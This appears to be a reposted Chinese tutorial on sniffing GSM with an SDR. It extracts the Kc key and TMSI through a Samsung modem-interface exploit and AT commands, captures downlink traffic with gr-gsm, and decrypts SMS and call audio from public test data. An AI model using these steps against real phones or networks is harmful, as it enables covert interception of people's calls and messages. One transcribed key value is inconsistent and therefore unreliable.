GSM Hacking Part② :使用SDR捕获GSM网络数据并解密

0×00

在文章第一部分 GSM Hacking Part① :使用SDR扫描嗅探GSM网络 搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。

0×01

1.1 获取三星漏洞利用代码:

这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试(此方法仅适用于:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。

AT 即Attention,AT指令用于终端设备与PC应用之间的连接与通信。

wget https://raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c

1.2 源码编译libusb:

wget http://jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz
tar zxvf libusb-0.1.12.tar.gz
cd libusb-0.1.12/
./configure
make
make install
sudo ldconfig

1.3 gcc编译PoC:

gcc usbswitcher.c -o switcher -lusb

0×02 获取Kc、TMSI参数

插入三星设备,可以在/dev/ttyACM*中找到它:

2.1 switcher

busybox microcom /dev/ttyACM0

./switcher

这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom:

2.2 minicom

minicom -D /dev/ttyACM0

通过AT指令获取Kc\TMSI可参阅:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security

2.3 Kc

GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值:

AT+CRSM=176.28448,0,0,9

演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E9698033

0×03 信号捕获

3.1 确定当前手机接入基站

手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入

*#*#4636#*#*

上面这个是安卓通用的如果你的手机没反应,还可以尝试

Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#*拨号
HTC (Android) : *#*#7262626#*#*

进去以后能找到基站的MCC、MNC、ARFCN这些参数。

MCC 移动国家码

MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02

ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。

手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。

手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。

手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。

在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包:

3.2 确定当前基站的下行频率:

打开http://www.cellmapper.net/arfcn.php

结果:

Network Type    GSM (TDMA)
E/U/ARFCN    12
Band Name    GSM-900
Uplink Frequency 上行频率 手机到基站
(phone to base station)    892.4 MHz
Downlink Frequency  下行频率 基站到手机
(base station to phone)    937.4 MHz
Band Number    900

获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000

3.3捕获下行数据包:

grgsm_capture.py -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc

Usage: grgsm_capture.py [options]

RTL-SDR capturing app of gr-gsm.

Options:
  -h, --help            show this help message and exit //打印帮助信息
  -f FC, --fc=FC        Set frequency [default=none] //设定捕获数据的中心频率
  -a ARFCN, --arfcn=ARFCN  //设定ARFCN
                        Set ARFCN instead of frequency. In some cases you may
                        have to provide the GSM band also
  -g GAIN, --gain=GAIN  Set gain [default=30] //设定gain
  -s SAMP_RATE, --samp-rate=SAMP_RATE  //设定采样率 默认2M
                        Set samp_rate [default=2M]
  -p PPM, --ppm=PPM     Set ppm [default=0]
  -b BURST_FILE, --burst-file=BURST_FILE
                        File where the captured bursts are saved
  -c CFILE, --cfile=CFILE
                        File where the captured data are saved
  --band=BAND           Specify the GSM band for the frequency. Available
                        bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                        GSM450, GSM480, GSM850. If no band is specified, it
                        will be determined automatically, defaulting to 0.
  --args=ARGS           Set device arguments [default=]
  -v, --verbose         If set, the captured bursts are printed to stdout
  -T REC_LENGTH, --rec-length=REC_LENGTH
                        Set length of recording in seconds [default=none]
grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20
-g 指定gain参数 40
-a ARFCN 12
-s 设定采样率1M
-c 将捕获到的数据存入sms.cfile
-T 设定时间

命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。

ls -lah sms.cfile

捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。

0×04 信号解码

捕获完数据以后再次获取KC TMSI值:

minicom -D /dev/ttyACM0

4.1 KC:

AT+CRSM=176.28448,0,0,9

演示视频中输出结果为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803

4.2 TMSI:

AT+CRSM=176.28542,0,0,11

演示视频中输出结果为:9062FF7632F8665610FF00 取其前4bytes,也就是前8字节,即:9062FF76

ls -lah voice.cfile

一起来看看解码脚本的用法:

decode usage

grgsm_decode -h
Usage: grgsm_decode: [options]

Options:
  -h, --help            show this help message and exit //打印帮助信息
  -m CHAN_MODE, --mode=CHAN_MODE
                        Channel mode. Valid options are 'BCCH' (Non-combined
                        C0), 'BCCH_SDCCH4'(Combined C0), 'SDCCH8' (Stand-alone
                        control channel) and 'TCHF' (Traffic Channel, Full
                        rate)
  -t TIMESLOT, --timeslot=TIMESLOT
                        Timeslot to decode [default=0]
  -u SUBSLOT, --subslot=SUBSLOT
                        Subslot to decode. Use in combination with channel
                        type BCCH_SDCCH4 and SDCCH8
  -b BURST_FILE, --burst-file=BURST_FILE
                        Input file (bursts)
  -c CFILE, --cfile=CFILE
                        Input file (cfile)
  -v, --verbose         If set, the decoded messages (with frame number and
                        count) are printed to stdout
  -p, --print-bursts    If set, the raw bursts (with frame number and count)
                        are printed to stdout

  Cfile Options:
    Options for decoding cfile input.

    -f FC, --fc=FC      Frequency of cfile capture  //指定需解码文件的中心频率 (从哪个频率捕获就填多少)
    -a ARFCN, --arfcn=ARFCN  //指定ARFCN 同上,从哪个ARFCN捕获就填多少
                        Set ARFCN instead of frequency. In some cases you may
                        have to provide the GSM band also
    --band=BAND         Specify the GSM band for the frequency. Available
                        bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                        GSM450, GSM480, GSM850.If no band is specified, it
                        will be determined automatically, defaulting to 0.
    -s SAMP_RATE, --samp-rate=SAMP_RATE   //指定采样率,默认1M
                        Sample rate of cfile capture [default=1M]
    --ppm=PPM           Set frequency offset correction [default=0]

  Decryption Options:
    Options for setting the A5 decryption parameters.

    -e A5, --a5=A5      A5 version [default=1]. A5 versions 1 - 3 supported //设定A5加密算法版本
    -k KC, --kc=KC      A5 session key Kc. Valid formats are //设定KC值
                        '0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF' and
                        '1234567890ABCDEF'

  TCH Options:
    Options for setting Traffic channel decoding parameters.

    -d SPEECH_CODEC, --speech-codec=SPEECH_CODEC
                        TCH-F speech codec [default=FR]. Valid options are FR,
                        EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7,
                        AMR5.9, AMR5.15, AMR4.75
    -o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE //将解密后的文件另存为
                        TCH/F speech output file [default=/tmp/speech.au.gsm].

在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data

测试数据已知参数如下:

ARFCN:725
采样率:$((100000000/174))
Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
wget https://github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile
mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile
sudo wireshark -i lo
grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile

在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1

使用我们刚刚知道的参数再次解密:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1

在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型:

A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。

A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。

确定了加密算法,再次执行解密脚本:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02

在cc Setup这一项,可以看到Calling party BCD number – Calling party number(被叫手机显示的主叫号码):

Assignment Command一栏信息如下:

在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm

进入/tmp缓存目录中,已经可以发现一个音频文件了:

安装VLC播放器:

sudo apt-get install vlc-nox
vlc  /tmp/test.au.gsm

耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1

0×05 refer

GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9
Voice Decryption 语音解密
SMS Decryption 短信解密
SMS text messeges and voice calls sniffing
https://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf

原文地址:http://www.freebuf.com/articles/wireless/111577.html

时间: 2024-10-24 06:16:28

GSM Hacking Part② :使用SDR捕获GSM网络数据并解密的相关文章

GSM Hacking Part① :使用SDR扫描嗅探GSM网络

0×00 写在开头 近期,发现Crazy Danish Hacker在YouTuBe发布了一个挺不错的教程视频:使用SDR嗅探监听GSM网络的通信流量(GSM Sniffing Teaser – Software Defined Radio Series).该教程从电视棒的安装到扫描.嗅探工具的使用.GSM流量包的捕获解密都有详细说明演示: 作为搬运工,在这里将分两三部分参考&总结一下该教程的主要内容,输出一篇中文教程,希望能够给对这方面感兴趣的童鞋带来一定帮助. 0×01 环境搭建 OS:GN

GSM Hacking:使用BladeRF、树莓派、YatesBTS搭建便携式GSM基站

每次看到黑客在网上发布的那些GSM技术相关文章我都十分惊讶.然而在没有Software Defined Radios (SDRs)之前,玩GSM并不便宜,除此之外想要好好玩你得下大功夫. 拓展阅读 GSM BTS Hacking: 利用BladeRF和开源BTS 5搭建基站 极客DIY:如何构建一台属于自己的基站 在阅读多篇有关GSM基站的文章之后,我注意到有关GSM基站这个话题有许多的不一致或者是讲的不够细致. 基于这一点,我决定写下今天这篇文章,进行手把手教学. 在文章开始之前,我要感谢所有

网络数据包捕获函数库Libpcap安装与使用(非常强大)

1.Libpcap简介 Libpcap是Packet Capture Libray的英文缩写,即数据包捕获函数库.该库提供的C函数接口用于捕捉经过指定网络接口的数据包,该接口应该是被设为混杂模式.这个在原始套接子中有提到. 著名的软件TCPDUMP就是在Libpcap的基础上开发而成的.Libpcap提供的接口函数实现和封装了与数据包截获有关的过程. Libpcap提供了用户级别的网络数据包捕获接口,并充分考虑到应用程序的可移植性.Libpcap可以在绝大多数Linux平台上运行.在Window

UNIX网络编程:网络数据包检测

网络数据包检测 数据包捕获(sniffer):是指在网络上进行数据收集的行为,需要通过网卡来完成. 三种访问方式: BSD Packet Filter(BPF) SVR4 Datalink Provider Interface(DLPI) linux SOCK_PACKET interface libpcap库 安装: apt-get install libpcap-dev 常用API 捕获数据包 查找缺省的用来捕获数据网络设备 char * pcap_lookupdev ( char * er

使用无线网络数据包对无线网络安全进行分析

本文阐述的是利用无线网络数据包来对无线网络安全的正确分析,在无线网络中,建立连接并不像连接有线网络那样简单,物理安全也没有阻止未经授权人员进入设备室那样容易,甚至在接入点总方向的小问题都可能让你崩溃.也就是说,保护无线网络安全将成为未来安全行业的挑战.在这篇文章中,我们将探讨解决利用数据包分析无线安全问题的实用技巧,首先我们将展示正确连接无线网络数据包的方法,收集到正确数据后,我们将探讨不同的分析技术,包括分析WEP/WPA认证.过滤加密流量以及寻找恶意接入点等.捕获无线数据包从数据包 来看,无

代码-如何请求接口删除网络数据?

问题描述 如何请求接口删除网络数据? 给我了HTML5的接口,我怎么去调用呢?用AFN,求大神给代码,耽误您一分钟时间,谢谢 解决方案 网络提供的证券实时数据访问接口 解决方案二: AFN没接触过,但是删除接口肯定是一个url地址,然后需要一个id属性之类的. 解决方案三: AFN参考 http://blog.csdn.net/huang2009303513/article/details/41309043h5提供的是一个http的接口,他需要你传入一些参数,并返回结果给你 解决方案四: 没用过

PHP中4种常用的抓取网络数据方法

  本小节的名称为 fsockopen,curl与file_get_contents,具体是探讨这三种方式进行网络数据输入输出的一些汇总.关于 fsockopen 前面已经谈了不少,下面开始转入其它.这里先简单罗列一下一些常见的抓取网络数据的一些方法. 1. 用 file_get_contents 以 get 方式获取内容: ? 1 2 3 $url = 'http://localhost/test2.php'; $html = file_get_contents($url); echo $ht

Delphi中拦截其它程序的网络数据封包

有时候我们需要对其它应用程序发送和接收的网络数据进行拦截,比如要对IE发送的HTTP头进行分析,得到请求的地址等.这次我们可以用一些例如WPE, Sniffer之类的工具来达到目的.但是工具功能有限,要想实现更强大的功能,还是我们自己动手吧. 拦截网络数据封包的方法有三种,一是将网卡设为混杂模式,这次就可以监视到局域网上所有的数据包,二是HOOK目标进程的发送和接收的API函数,第三种方法是自己实现一个代理的DLL.在这里我们使用HOOK API的方法,这样易于实现,而且也不会得到大量的无用数据

Excel中导入网络数据动画教程

<Excel2003入门动画教程61.Excel中导入网络数据>. 演示动画 操作步骤 我们除了可以从本地机器上获取数据外,还可以从网络上导入数据到Excel中,并能同网络保持随时更新. 下面,我们将NBA的比赛排名数据导入到Excel中: 将电脑连接到网络上,打开Excel,执行"数据→导入外部数据→新建Web查询"命令,打开"新建Web查询"对话框,将相应的网址输入到"地址"栏上,按下"转到"按钮,同网络建立连